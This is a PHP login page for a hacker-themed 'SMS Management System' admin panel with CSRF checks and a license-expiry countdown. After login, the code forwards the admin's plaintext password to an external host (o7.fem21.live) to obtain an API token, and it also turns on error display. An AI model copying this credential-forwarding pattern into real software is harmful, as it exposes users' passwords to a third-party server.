<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
require_once './includes/session.php';
require_once './includes/admin.php';
require_once './includes/utils.php';

$session = SessionManager::getInstance();

if ($session->isLoggedIn()) {
    header('Location: dashboard.php');
    exit;
}

$error = '';
$admin = new Admin();
$expiryDateFromDB = $admin->getExpiryDate() ?? "2025-08-03";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || !Utils::validateCSRFToken($_POST['csrf_token'])) {
        $error = 'Invalid request.';
    } else {
        $email = isset($_POST['email']) ? Utils::sanitizeInput($_POST['email']) : '';
        $password = isset($_POST['password']) ? $_POST['password'] : '';

        if (empty($email) || empty($password)) {
            $error = 'Email and password required.';
        } else {
            $userData = $admin->authenticate($email, $password);

            if (is_array($userData) && isset($userData['expired']) && $userData['expired'] === true) {
                $error = 'Access expired on ' . htmlspecialchars($userData['expiry_date']);
            } elseif ($userData) {
                Utils::logActivity($userData['id'], 'login', 'Admin logged in');
                $session->login($userData['id'], $userData['email']);
                
                // Get API token for devices page
                $tokenResponse = @file_get_contents('https://o7.fem21.live/admin/adminapi/login.php', false, stream_context_create([
                    'http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query(['password' => $password]), 'timeout' => 5]
                ]));
                $tokenData = json_decode($tokenResponse, true);
                if ($tokenData && isset($tokenData['token'])) {
                    $_SESSION['api_token'] = $tokenData['token'];
                }
                
                header('Location: dashboard.php');
                exit;
            } else {
                sleep(1);
                $error = 'Invalid credentials.';
            }
        }
    }
}

$csrfToken = Utils::generateCSRFToken();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>⬡ CLASSIFIED ACCESS</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.1/font/bootstrap-icons.css">
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600;700&family=Orbitron:wght@400;500;600;700;800;900&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg-primary: #0a0e17;
            --bg-secondary: #0d1321;
            --border-color: #1e3a5f;
            --accent-green: #00ff88;
            --accent-cyan: #00d4ff;
            --accent-red: #ff3366;
            --text-primary: #e0e7ef;
            --text-muted: #3a5068;
            --glow-green: 0 0 10px rgba(0,255,136,0.3);
            --glow-cyan: 0 0 10px rgba(0,212,255,0.3);
            --glow-red: 0 0 10px rgba(255,51,102,0.3);
        }

        * { box-sizing: border-box; margin: 0; padding: 0; }
        
        body {
            font-family: 'JetBrains Mono', monospace;
            background: var(--bg-primary);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
            position: relative;
            overflow: hidden;
        }

        /* Scanlines */
        body::before {
            content: '';
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background: repeating-linear-gradient(
                0deg, transparent, transparent 2px,
                rgba(0,255,136,0.02) 2px, rgba(0,255,136,0.02) 4px
            );
            pointer-events: none;
            z-index: 100;
        }

        /* Matrix canvas */
        #matrixBg {
            position: fixed;
            top: 0; left: 0;
            width: 100%; height: 100%;
            z-index: 0;
            opacity: 0.08;
        }

        /* Animated grid */
        .grid-overlay {
            position: fixed;
            top: 0; left: 0; right: 0; bottom: 0;
            background-image: 
                linear-gradient(rgba(0,255,136,0.03) 1px, transparent 1px),
                linear-gradient(90deg, rgba(0,255,136,0.03) 1px, transparent 1px);
            background-size: 30px 30px;
            z-index: 1;
            pointer-events: none;
        }

        .login-container {
            position: relative;
            z-index: 10;
            width: 100%;
            max-width: 380px;
        }

        /* Top classified banner */
        .classified-banner {
            text-align: center;
            margin-bottom: 20px;
            animation: fadeInDown 0.8s ease;
        }
        .classified-banner .warning-text {
            font-family: 'Orbitron', sans-serif;
            font-size: 10px;
            color: var(--accent-red);
            letter-spacing: 3px;
            text-transform: uppercase;
            animation: blinkSlow 2s infinite;
        }
        @keyframes blinkSlow {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        @keyframes fadeInDown {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        /* Login card */
        .login-card {
            background: rgba(13,19,33,0.95);
            border: 1px solid var(--border-color);
            border-radius: 8px;
            padding: 30px 24px;
            position: relative;
            overflow: hidden;
            animation: fadeIn 1s ease;
        }
        @keyframes fadeIn {
            from { opacity: 0; transform: scale(0.95); }
            to { opacity: 1; transform: scale(1); }
        }
        .login-card::before {
            content: '';
            position: absolute;
            top: 0; left: 0; right: 0;
            height: 2px;
            background: linear-gradient(90deg, transparent, var(--accent-green), var(--accent-cyan), transparent);
            animation: borderGlow 3s ease-in-out infinite;
        }
        @keyframes borderGlow {
            0%, 100% { opacity: 0.5; }
            50% { opacity: 1; }
        }
        .login-card::after {
            content: '';
            position: absolute;
            bottom: 0; left: 0; right: 0;
            height: 1px;
            background: linear-gradient(90deg, transparent, var(--accent-cyan), transparent);
            opacity: 0.3;
        }

        /* Logo area */
        .logo {
            text-align: center;
            margin-bottom: 28px;
        }
        .logo-icon {
            width: 64px; height: 64px;
            border: 2px solid var(--accent-green);
            border-radius: 50%;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            color: var(--accent-green);
            margin-bottom: 14px;
            position: relative;
            box-shadow: var(--glow-green), inset 0 0 20px rgba(0,255,136,0.05);
            animation: pulse 2s infinite;
        }
        @keyframes pulse {
            0%, 100% { box-shadow: 0 0 10px rgba(0,255,136,0.3), inset 0 0 20px rgba(0,255,136,0.05); }
            50% { box-shadow: 0 0 25px rgba(0,255,136,0.5), inset 0 0 30px rgba(0,255,136,0.1); }
        }
        .logo-icon::before {
            content: '';
            position: absolute;
            top: -4px; left: -4px; right: -4px; bottom: -4px;
            border: 1px solid rgba(0,255,136,0.2);
            border-radius: 50%;
            animation: spin 10s linear infinite;
        }
        @keyframes spin {
            from { transform: rotate(0deg); }
            to { transform: rotate(360deg); }
        }
        .logo h1 {
            font-family: 'Orbitron', sans-serif;
            font-size: 16px;
            font-weight: 700;
            color: var(--text-primary);
            letter-spacing: 2px;
        }
        .logo p {
            font-size: 10px;
            color: var(--text-muted);
            margin-top: 6px;
            letter-spacing: 1px;
            text-transform: uppercase;
        }

        /* Terminal style header */
        .terminal-header {
            font-size: 10px;
            color: var(--text-muted);
            margin-bottom: 20px;
            padding: 8px 10px;
            background: rgba(0,0,0,0.3);
            border-radius: 4px;
            border-left: 2px solid var(--accent-green);
        }
        .terminal-header .cmd {
            color: var(--accent-green);
        }

        /* Form */
        .form-group { margin-bottom: 18px; }
        .form-label {
            display: block;
            font-size: 10px;
            font-weight: 600;
            color: var(--accent-cyan);
            margin-bottom: 6px;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        .form-label::before {
            content: '> ';
            color: var(--accent-green);
        }
        .form-input {
            width: 100%;
            padding: 12px 14px;
            background: rgba(0,10,20,0.8);
            border: 1px solid var(--border-color);
            border-radius: 4px;
            font-size: 13px;
            font-family: 'JetBrains Mono', monospace;
            color: var(--accent-green);
            outline: none;
            transition: all 0.3s;
        }
        .form-input:focus {
            border-color: var(--accent-green);
            box-shadow: var(--glow-green);
        }
        .form-input::placeholder {
            color: var(--text-muted);
        }

        /* Submit button */
        .btn-login {
            width: 100%;
            padding: 13px;
            background: rgba(0,255,136,0.1);
            border: 1px solid var(--accent-green);
            border-radius: 4px;
            color: var(--accent-green);
            font-size: 12px;
            font-weight: 700;
            font-family: 'Orbitron', sans-serif;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 2px;
            transition: all 0.3s;
            position: relative;
            overflow: hidden;
        }
        .btn-login:hover {
            background: rgba(0,255,136,0.2);
            box-shadow: var(--glow-green);
            transform: translateY(-1px);
        }
        .btn-login:active {
            transform: translateY(0);
        }
        .btn-login::after {
            content: '';
            position: absolute;
            top: 0; left: -100%;
            width: 100%; height: 100%;
            background: linear-gradient(90deg, transparent, rgba(0,255,136,0.1), transparent);
            animation: shimmer 3s infinite;
        }
        @keyframes shimmer {
            0% { left: -100%; }
            100% { left: 100%; }
        }

        /* Error message */
        .error-msg {
            background: rgba(255,51,102,0.08);
            border: 1px solid rgba(255,51,102,0.3);
            border-radius: 4px;
            padding: 10px 12px;
            margin-bottom: 16px;
            font-size: 11px;
            color: var(--accent-red);
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .error-msg::before {
            content: '⚠';
        }

        /* Expiry */
        .expiry {
            text-align: center;
            margin-top: 18px;
            font-size: 10px;
            font-weight: 600;
            font-family: 'JetBrains Mono', monospace;
            letter-spacing: 0.5px;
            padding: 8px;
            background: rgba(0,0,0,0.3);
            border-radius: 4px;
        }

        /* Bottom decoration */
        .bottom-deco {
            text-align: center;
            margin-top: 16px;
            font-size: 9px;
            color: var(--text-muted);
            letter-spacing: 1px;
        }
    </style>
</head>
<body>
    <canvas id="matrixBg"></canvas>
    <div class="grid-overlay"></div>
    
    <div class="login-container">
        <div class="classified-banner">
            <div class="warning-text">◆ CLASSIFIED ACCESS ◆</div>
        </div>

        <div class="login-card">
            <div class="logo">
                <div class="logo-icon"><i class="bi bi-shield-lock-fill"></i></div>
                <h1>ADMIN PANEL</h1>
                <p>SMS Management System</p>
            </div>

            <div class="terminal-header">
                <span class="cmd">admin</span>@panel:~$ login --secure
            </div>

            <?php if ($error): ?>
                <div class="error-msg"><?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>

            <form method="POST">
                <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>">
                <div class="form-group">
                    <label class="form-label">Email</label>
                    <input type="email" name="email" class="form-input" placeholder="admin@admin.com" required autocomplete="email">
                </div>
                <div class="form-group">
                    <label class="form-label">Password</label>
                    <input type="password" name="password" class="form-input" placeholder="••••••••••" required>
                </div>
                <button type="submit" class="btn-login">◈ Login</button>
            </form>

            <div class="expiry" id="expiry-text"></div>
        </div>

        <div class="bottom-deco">
            ENCRYPTED CHANNEL // AES-256 // <?php echo date('Y'); ?>
        </div>
    </div>

    <script>
    // Matrix rain
    (function() {
        const canvas = document.getElementById('matrixBg');
        const ctx = canvas.getContext('2d');
        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;
        
        const chars = '01ABCDEF@#$%アイウエオカキクケコ';
        const fontSize = 11;
        const columns = Math.floor(canvas.width / fontSize);
        const drops = Array(columns).fill(1);
        
        function draw() {
            ctx.fillStyle = 'rgba(10, 14, 23, 0.04)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            ctx.fillStyle = '#00ff88';
            ctx.font = fontSize + 'px JetBrains Mono';
            
            for (let i = 0; i < drops.length; i++) {
                const text = chars[Math.floor(Math.random() * chars.length)];
                ctx.fillText(text, i * fontSize, drops[i] * fontSize);
                if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) drops[i] = 0;
                drops[i]++;
            }
        }
        setInterval(draw, 45);
        window.addEventListener('resize', () => { canvas.width = window.innerWidth; canvas.height = window.innerHeight; });
    })();

    // Expiry countdown
    const exp = new Date("<?php echo $expiryDateFromDB; ?>");
    const el = document.getElementById("expiry-text");
    const d = Math.ceil((exp - new Date()) / (1000*60*60*24));
    if (d <= 0) {
        el.style.color = "#ff3366";
        el.innerHTML = "⚠ ACCESS REVOKED — LICENSE EXPIRED";
    } else if (d <= 5) {
        el.style.color = "#ff3366";
        el.innerHTML = "⚠ CRITICAL: " + d + " DAYS REMAINING";
    } else if (d <= 20) {
        el.style.color = "#ffaa00";
        el.innerHTML = "◈ LICENSE: " + d + " DAYS REMAINING";
    } else {
        el.style.color = "#00ff88";
        el.innerHTML = "◈ ACCESS VALID: " + d + " DAYS";
    }
    </script>
</body>
</html>
